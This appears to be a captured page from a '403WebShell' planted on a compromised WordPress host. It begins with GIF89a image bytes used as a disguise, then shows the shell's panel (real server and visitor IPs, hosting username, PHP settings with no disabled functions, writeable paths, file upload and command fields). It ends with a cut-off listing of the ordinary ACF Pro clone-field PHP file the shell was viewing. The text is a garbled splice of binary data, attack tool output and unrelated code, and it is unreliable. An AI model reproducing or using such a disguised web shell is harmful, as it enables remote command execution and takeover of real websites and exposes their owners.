GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/pro/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/pro/fields/clone.php
<?php

/*
*  ACF Clone Field Class
*
*  All the logic for this field type
*
*  @class 		acf_field_clone
*  @extends		acf_field
*  @package		ACF
*  @subpackage	Fields
*/

if( ! class_exists('acf_field_clone') ) :

class acf_field_clone extends acf_field {
	
	
	/*
	*  __construct
	*
	*  This function will setup the field type data
	*
	*  @type	function
	*  @date	5/03/2014
	*  @since	5.0.0
	*
	*  @param	n/a
	*  @return	n/a
	*/
	
	function __construct() {
		
		// vars
		$this->name = 'clone';
		$this->label = _x('Clone', 'noun', 'acf');
		$this->category = 'layout';
		$this->defaults = array(
			'clone' 		=> '',
			'prefix_label'	=> 0,
			'prefix_name'	=> 0,
			'display'		=> 'seamless',
			'layout'		=> 'block'
		);
		$this->cloning = array();
		
		
		// register filter
		acf_enable_filter('clone');
		
		
		// ajax
		add_action('wp_ajax_acf/fields/clone/query', array($this, 'ajax_query'));
		
		
		// filters
		add_filter('acf/get_fields', 		array($this, 'acf_get_fields'), 5, 2);
		add_filter('acf/prepare_field',		array($this, 'acf_prepare_field'), 10, 1);
		add_filter('acf/clone_field',		array($this, 'acf_clone_field'), 10, 2);
		
		
		// do not delete!
    	parent::__construct();
    	
	}
	
	
	/*
	*  is_enabled
	*
	*  This function will return true if acf_local functionality is enabled
	*
	*  @type	function
	*  @date	14/07/2016
	*  @since	5.4.0
	*
	*  @param	n/a
	*  @return	n/a
	*/
	
	function is_enabled() {
		
		return acf_is_filter_enabled('clone');
		
	}
	
	
	/*
	*  load_field()
	*
	*  This filter is appied to the $field after it is loaded from the database
	*
	*  @type	filter
	*  @since	3.6
	*  @date	23/01/13
	*
	*  @param	$field - the field array holding all the field options
	*
	*  @return	$field - the field array holding all the field options
	*/
	
	function load_field( $field ) {
		
		// bail early if not enabled
		if( !$this->is_enabled() ) return $field;
		
		
		// load sub fields
		// - sub field name's will be modified to include prefix_name settings
		$field['sub_fields'] = $this->get_cloned_fields( $field );
		
		
		// return
		return $field;
		
	}
	
	
	/*
	*  acf_get_fields
	*
	*  This function will hook into the 'acf/get_fields' filter and inject/replace seamless clones fields
	*
	*  @type	function
	*  @date	17/06/2016
	*  @since	5.3.8
	*
	*  @param	$fields (array)
	*  @param	$parent (array)
	*  @return	$fields
	*/
	
	function acf_get_fields( $fields, $parent ) {
		
		// bail early if not enabled
		if( !$this->is_enabled() ) return $fields;
		
		
		// vars
		$i = 0;
		
		
		// loop
		while( $i < count($fields) ) {
			
			// vars
			$field = $fields[ $i ];
			
			
			// $i
			$i++;
			
			
			// bail ealry if not a clone field
			if( $field['type'] != 'clone' ) continue;
			
			
			// bail ealry if not seamless
			if( $field['display'] != 'seamless' ) continue;
			
			
			// replace this clone field with sub fields
			$i--;
			array_splice($fields, $i, 1, $field['sub_fields']);

		}
		
		
		// return
		return $fields;
		
	}
	
	
	/*
	*  get_cloned_fields
	*
	*  This function will return an array of fields for a given clone field
	*
	*  @type	function
	*  @date	28/06/2016
	*  @since	5.3.8
	*
	*  @param	$field (array)
	*  @param	$parent (array)
	*  @return	(array)
	*/
	
	function get_cloned_fields( $field ) {
		
		// vars
		$fields = array();
		
		
		// bail early if no clone setting
		if( empty($field['clone']) ) return $fields;
		
		
		// bail ealry if already cloning this field (avoid infinite looping)
		if( isset($this->cloning[ $field['key'] ]) ) return $fields;
		
		
		// update local ref
		$this->cloning[ $field['key'] ] = 1;
		
		
		// loop
		foreach( $field['clone'] as $selector ) {
			
			// field group
			if( acf_is_field_group_key($selector) ) {
				
				// vars
				$field_group = acf_get_field_group($selector);
				$field_group_fields = acf_get_fields($field_group);
				
				
				// bail early if no fields
				if( !$field_group_fields ) continue;
				
				
				// append
				$fields = array_merge($fields, $field_group_fields);
				
			// field
			} elseif( acf_is_field_key($selector) ) {
				
				// append
				$fields[] = acf_get_field($selector);
				
			}
			
		}
		
		
		// field has ve been loaded for this $parent, time to remove cloning ref
		unset( $this->cloning[ $field['key'] ] );
		
		
		// clear false values (fields that don't exist)
		$fields = array_filter($fields);
		
		
		// bail early if no sub fields
		if( empty($fields) ) return array();
		
		
		// loop
		// run acf_clone_field() on each cloned field to modify name, key, etc
		foreach( array_keys($fields) as $i ) {
			
			$fields[ $i ] = acf_clone_field( $fields[ $i ], $field );
				
		}
		
		
		// return
		return $fields;
		
	}
	
	
	/*
	*  acf_clone_field
	*
	*  This function is run when cloning a clone field
	*  Important to run the acf_clone_field function on sub fields to pass on settings such as 'parent_layout' 
	*
	*  @type	function
	*  @date	28/06/2016
	*  @since	5.3.8
	*
	*  @param	$field (array)
	*  @param	$clone_field (array)
	*  @return	$field
	*/
	
	function acf_clone_field( $field, $clone_field ) {
		
		// bail early if this field is being cloned by some other kind of field (future proof)
		if( $clone_field['type'] != 'clone' ) return $field;
		
		
		// backup (used later)
		// - backup only once (cloned clone fields can cause issues)
		if( !isset($field['__key']) ) {
			
			$field['__key'] = $field['key'];
			$field['__name'] = $field['_name'];
			$field['__label'] = $field['label'];
			
		}
		
		
		// modify key 
		// - this will allow sub clone fields to correctly load values for the same cloned field
		// - the original key will later be restored by acf/prepare_field allowing conditional logic JS to work
		$field['key'] = $clone_field['key'] . '_' . $field['key'];
		
		
		// modify prefix allowing clone field to save sub fields
		// - only used for parent seamless fields. Block or sub field's prefix will be overriden which also works
		$field['prefix'] .= '[' . $clone_field['key'] . ']';
		
		
		// label_format
		if( $clone_field['prefix_label'] ) {
			
			$field['label'] = $clone_field['label'] . ' ' . $field['label'];
			
		}
		
		
		// name_format
		if( $clone_field['prefix_name'] ) {
			
			//acf_log('== acf_clone_field ==');
			//acf_log('- clone name', $clone_field['name']);
			//acf_log('- clone _name', $clone_field['_name']);
			
			//$name = $field['name'];
			//$_name = $field['_name'];
			
			$field['name'] = $clone_field['name'] . '_' . $field['_name'];
			
			//acf_log('- field name:', $name, '=>', $field['name']);
			
			
			if( $clone_field['display'] == 'seamless' ) {
				
				$field['_name'] = $clone_field['_name'] . '_' . $field['_name'];
				
			}
			
			//acf_log('- field _name:', $_name, '=>', $field['_name']);
			
			//acf_log('');
			
		}
		
		
		// required
		if( $clone_field['required'] ) {
			
			$field['required'] = 1;
			
		}
		
		
		// type specific
		if( $field['type'] == 'clone' ) {
			
			$field = $this->acf_clone_clone_field( $field, $clone_field );
			
		}
		
		
		// return
		return $field;
		
	}
	
	
	/*
	*  acf_clone_clone_field
	*
	*  This function is run when cloning a clone field
	*  Important to run the acf_clone_field function on sub fields to pass on settings such as 'parent_layout' 
	*
	*  @type	function
	*  @date	28/06/2016
	*  @since	5.3.8
	*
	*  @param	$field (array)
	*  @param	$clone_field (array)
	*  @return	$field
	*/
	
	function acf_clone_clone_field( $field, $clone_field ) {
		
		// when cloning a clone field, it is important to also change the _name too
		// this allows sub clone fields to appear correctly in get_row() row array
		// - commented out. This may not be neccessary due to new line 315
		if( $field['prefix_name'] ) {
			
			$clone_field['name'] = $field['_name'];
			$clone_field['_name'] = $field['_name'];
			
		}
		
		
		// bail early if no sub fields
		if( empty($field['sub_fields']) ) return $field;
		
		
		// loop
		foreach( array_keys($field['sub_fields']) as $i ) {
			
			// get sub field
			$sub_field = $field['sub_fields'][ $i ];
			
			
			// clone
			$sub_field = acf_clone_field( $sub_field, $clone_field );
			
			
			// update
			$field['sub_fields'][ $i ] = $sub_field;
			
		}
		
		
		// return
		return $field;
			
	}
	
	
	/*
	*  prepare_field_for_db
	*
	*  description
	*
	*  @type	function
	*  @date	4/11/16
	*  @since	5.5.0
	*
	*  @param	$post_id (int)
	*  @return	$post_id (int)
	*/
	
	function prepare_field_for_db( $field ) {
		
		// bail early if no sub fields
		if( empty($field['sub_fields']) ) return $field;
		
		
		// bail early if name == _name
		// this is a parent clone field and does not require any modification to sub field names
		if( $field['name'] == $field['_name'] ) return $field;
		
		
		// this is a sub field
		// _name = 'my_field'
		//  name = 'rep_0_my_field'
		// modify all sub fields to add 'rep_0_' name prefix (prefix_name setting has already been applied)
		$length = strlen($field['_name']);
		$prefix = substr($field['name'], 0, -$length);
		
		
		// bail ealry if _name is not found at the end of name (unknown potential error)
		if( $prefix . $field['_name'] !== $field['name'] ) return $field;
		
		//acf_log('== prepare_field_for_db ==');
		//acf_log('- clone name:', $field['name']);
		//acf_log('- clone _name:', $field['_name']);
		
		// loop
		foreach( array_keys($field['sub_fields']) as $i ) {
			
			// get sub field
			$sub_field = $field['sub_fields'][ $i ];
			
			//$name = $sub_field['name'];
			$sub_field['name'] = $prefix . $sub_field['name'];
			//acf_log('- field name:', $name, '=>', $sub_field['name']);
			
			// update
			$field['sub_fields'][ $i ] = $sub_field;
			
		}
		//acf_log('');
		
		// return
		return $field;

	}
		
	
	/*
	*  load_value()
	*
	*  This filter is applied to the $value after it is loaded from the db
	*
	*  @type	filter
	*  @since	3.6
	*  @date	23/01/13
	*
	*  @param	$value (mixed) the value found in the database
	*  @param	$post_id (mixed) the $post_id from which the value was loaded
	*  @param	$field (array) the field array holding all the field options
	*  @return	$value
	*/
	
	function load_value( $value, $post_id, $field ) {
		
		// bail early if no sub fields
		if( empty($field['sub_fields']) ) return $value;
		
		
		// modify names
		$field = $this->prepare_field_for_db( $field );


		// load sub fields
		$value = array();
		
		
		// loop
		foreach( array_keys($field['sub_fields']) as $i ) {
			
			// get sub field
			$sub_field = $field['sub_fields'][ $i ];
			
			
			// get value
			$sub_value = acf_get_value( $post_id, $sub_field );
			
			
			// add value
			$value[ $sub_field['key'] ] = $sub_value;
			
		}
		
		
		// return
		return $value;
		
	}
	
	
	/*
	*  format_value()
	*
	*  This filter is appied to the $value after it is loaded from the db and before it is returned to the template
	*
	*  @type	filter
	*  @since	3.6
	*  @date	23/01/13
	*
	*  @param	$value (mixed) the value which was loaded from the database
	*  @param	$post_id (mixed) the $post_id from which the value was loaded
	*  @param	$field (array) the field array holding all the field options
	*
	*  @return	$value (mixed) the modified value
	*/
	
	function format_value( $value, $post_id, $field ) {
		
		// bail early if no value
		if( empty($value) ) return false;
		
		
		// modify names
		$field = $this->prepare_field_for_db( $field );
		
		
		// loop over rows
		foreach( array_keys($field['sub_fields']) as $i ) {
			
			// get sub field
			$sub_field = $field['sub_fields'][ $i ];
			
			
			// extract value
			$sub_value = acf_extract_var( $value, $sub_field['key'] );
			
			
			// format value
			$sub_value = acf_format_value( $sub_value, $post_id, $sub_field );
			
			
			// append to $row
			$value[ $sub_field['__name'] ] = $sub_value;
			
		}
		
		
		// return
		return $value;
		
	}
	
	
	/*
	*  update_value()
	*
	*  This filter is appied to the $value before it is updated in the db
	*
	*  @type	filter
	*  @since	3.6
	*  @date	23/01/13
	*
	*  @param	$value - the value which will be saved in the database
	*  @param	$field - the field array holding all the field options
	*  @param	$post_id - the $post_id of which the value will be saved
	*
	*  @return	$value - the modified value
	*/
	
	function update_value( $value, $post_id, $field ) {
		
		// bail early if no value
		if( !acf_is_array($value) ) return null;
		
		
		// bail ealry if no sub fields
		if( empty($field['sub_fields']) ) return null;
		
		
		// modify names
		$field = $this->prepare_field_for_db( $field );
		
		
		// loop
		foreach( array_keys($field['sub_fields']) as $i ) {
			
			// vars
			$sub_field = $field['sub_fields'][ $i ];
			$v = false;
			
			
			// key (backend)
			if( isset($value[ $sub_field['key'] ]) ) {
				
				$v = $value[ $sub_field['key'] ];
			
			// name (frontend)
			} elseif( isset($value[ $sub_field['_name'] ]) ) {
				
				$v = $value[ $sub_field['_name'] ];
			
			// empty
			} else {
				
				// input is not set (hidden by conditioanl logic)
				continue;
				
			}
			
			
			// restore original field key
			$sub_field = $this->acf_prepare_field( $sub_field );
			
			
			// update value
			acf_update_value( $v, $post_id, $sub_field );
			
		}
		
		
		// return
		return '';
		
	}
	
	
	/*
	*  render_field()
	*
	*  Create the HTML interface for your field
	*
	*  @param	$field - an array holding all the field's data
	*
	*  @type	action
	*  @since	3.6
	*  @date	23/01/13
	*/
	
	function render_field( $field ) {
		
		// bail early if no sub fields
		if( empty($field['sub_fields']) ) return;
		
		
		// load values
		foreach( array_keys($field['sub_fields']) as $i ) {
			
			// vars
			$sub_field = $field['sub_fields'][ $i ];
			
			
			// add value
			if( isset($field['value'][ $sub_field['key'] ]) ) {
				
				// this is a normal value
				$sub_field['value'] = $field['value'][ $sub_field['key'] ];
				
			} elseif( isset($sub_field['default_value']) ) {
				
				// no value, but this sub field has a default value
				$sub_field['value'] = $sub_field['default_value'];
				
			}
			
			
			// update prefix to allow for nested values
			$sub_field['prefix'] = $field['name'];
			
			
			// restore label
			$sub_field['label'] = $sub_field['__label'];
			
			
			// restore required
			if( $field['required'] ) $sub_field['required'] = 0;
			
			
			// append
			$field['sub_fields'][ $i ] = $sub_field;
		
		}
		
		
		// render
		if( $field['layout'] == 'table' ) {
			
			$this->render_field_table( $field );
			
		} else {
			
			$this->render_field_block( $field );
			
		}
		
	}
	
	
	/*
	*  render_field_block
	*
	*  description
	*
	*  @type	function
	*  @date	12/07/2016
	*  @since	5.4.0
	*
	*  @param	$post_id (int)
	*  @return	$post_id (int)
	*/
	
	function render_field_block( $field ) {
		
		// vars
		$label_placement = $field['layout'] == 'block' ? 'top' : 'left';
		
		
		// html
		echo '<div class="acf-clone-fields acf-fields -'.$label_placement.'">';
			
		foreach( $field['sub_fields'] as $sub_field ) {
			
			acf_render_field_wrap( $sub_field );
			
		}
		
		echo '</div>';
		
	}
	
	
	/*
	*  render_field_table
	*
	*  description
	*
	*  @type	function
	*  @date	12/07/2016
	*  @since	5.4.0
	*
	*  @param	$post_id (int)
	*  @return	$post_id (int)
	*/
	
	function render_field_table( $field ) {
		
?>
<table class="acf-table">
	<thead>
		<tr>
		<?php foreach( $field['sub_fields'] as $sub_field ): 
			
			// prepare field (allow sub fields to be removed)
			$sub_field = acf_prepare_field($sub_field);
			
			
			// bail ealry if no field
			if( !$sub_field ) continue;
			
			
			// vars
			$atts = array();
			$atts['class'] = 'acf-th';
			$atts['data-name'] = $sub_field['_name'];
			$atts['data-type'] = $sub_field['type'];
			$atts['data-key'] = $sub_field['key'];
			
			
			// Add custom width
			if( $sub_field['wrapper']['width'] ) {
			
				$atts['data-width'] = $sub_field['wrapper']['width'];
				$atts['style'] = 'width: ' . $sub_field['wrapper']['width'] . '%;';
				
			}
			
				
			?>
			<th <?php acf_esc_attr_e( $atts ); ?>>
				<?php echo acf_get_field_label( $sub_field ); ?>
				<?php if( $sub_field['instructions'] ): ?>
					<p class="description"><?php echo $sub_field['instructions']; ?></p>
				<?php endif; ?>
			</th>
		<?php endforeach; ?>
		</tr>
	</thead>
	<tbody>
		<tr class="acf-row">
		<?php 
		
		foreach( $field['sub_fields'] as $sub_field ) {
			
			acf_render_field_wrap( $sub_field, 'td' );
			
		}
				
		?>
		</tr>
	</tbody>
</table>
<?php
		
	}
	
	
	/*
	*  render_field_settings()
	*
	*  Create extra options for your field. This is rendered when editing a field.
	*  The value of $field['name'] can be used (like bellow) to save extra data to the $field
	*
	*  @param	$field	- an array holding all the field's data
	*
	*  @type	action
	*  @since	3.6
	*  @date	23/01/13
	*/
	
	function render_field_settings( $field ) {
		
		// temp enable 'local' to allow .json fields to be displayed
		acf_enable_filter('local');
		
		// default_value
		acf_render_field_setting( $field, array(
			'label'			=> __('Fields', 'acf'),
			'instructions'	=> __('Select one or more fields you wish to clone','acf'),
			'type'			=> 'select',
			'name'			=> 'clone',
			'multiple' 		=> 1,
			'allow_null' 	=> 1,
			'choices'		=> $this->get_clone_setting_choices( $field['clone'] ),
			'ui'			=> 1,
			'ajax'			=> 1,
			'ajax_action'	=> 'acf/fields/clone/query',
			'placeholder'	=> '',
		));
		
		acf_disable_filter('local');
		
		
		// display
		acf_render_field_setting( $field, array(
			'label'			=> __('Display','acf'),
			'instructions'	=> __('Specify the style used to render the clone field', 'acf'),
			'type'			=> 'select',
			'name'			=> 'display',
			'class'			=> 'setting-display',
			'choices'		=> array(
				'group'			=> __('Group (displays selected fields in a group within this field)','acf'),
				'seamless'		=> __('Seamless (replaces this field with selected fields)','acf'),
			),
		));
		
		
		// layout
		acf_render_field_setting( $field, array(
			'label'			=> __('Layout','acf'),
			'instructions'	=> __('Specify the style used to render the selected fields', 'acf'),
			'type'			=> 'radio',
			'name'			=> 'layout',
			'layout'		=> 'horizontal',
			'choices'		=> array(
				'block'			=> __('Block','acf'),
				'table'			=> __('Table','acf'),
				'row'			=> __('Row','acf')
			)
		));
		
		
		// prefix_label
		$instructions = __('Labels will be displayed as %s', 'acf');
		$instructions = sprintf($instructions, '<code class="prefix-label-code-1"></code>');
		acf_render_field_setting( $field, array(
			'label'			=> __('Prefix Field Labels','acf'),
			'message'	=> $instructions,
			//'instructions_placement'	=> 'field',
			'name'			=> 'prefix_label',
			'class'			=> 'setting-prefix-label',
			'type'			=> 'true_false',
			'ui'			=> 1,
		));
		
		
		// prefix_name
		$instructions = __('Values will be saved as %s', 'acf');
		$instructions = sprintf($instructions, '<code class="prefix-name-code-1"></code>');
		acf_render_field_setting( $field, array(
			'label'			=> __('Prefix Field Names','acf'),
			'message'	=> $instructions,
			//'instructions_placement'	=> 'field',
			'name'			=> 'prefix_name',
			'class'			=> 'setting-prefix-name',
			'type'			=> 'true_false',
			'ui'			=> 1,
		));
		
	}
	
	
	/*
	*  get_clone_setting_choices
	*
	*  This function will return an array of choices data for Select2
	*
	*  @type	function
	*  @date	17/06/2016
	*  @since	5.3.8
	*
	*  @param	$value (mixed)
	*  @return	(array)
	*/
	
	function get_clone_setting_choices( $value ) {
		
		// vars
		$choices = array();
		
		
		// bail early if no $value
		if( empty($value) ) return $choices;
		
		
		// force value to array
		$value = acf_get_array( $value );
			
			
		// loop
		foreach( $value as $v ) {
			
			$choices[ $v ] = $this->get_clone_setting_choice( $v );
			
		}
		
		
		// return
		return $choices;
		
	}
	
	
	/*
	*  get_clone_setting_choice
	*
	*  This function will return the label for a given clone choice
	*
	*  @type	function
	*  @date	17/06/2016
	*  @since	5.3.8
	*
	*  @param	$selector (mixed)
	*  @return	(string)
	*/
	
	function get_clone_setting_choice( $selector = '' ) {
		
		// bail early no selector
		if( !$selector ) return '';
		
		
		// ajax_fields
		if( isset($_POST['fields'][ $selector ]) ) {
			
			return $this->get_clone_setting_field_choice( $_POST['fields'][ $selector ] );
						
		}
		
		
		// field
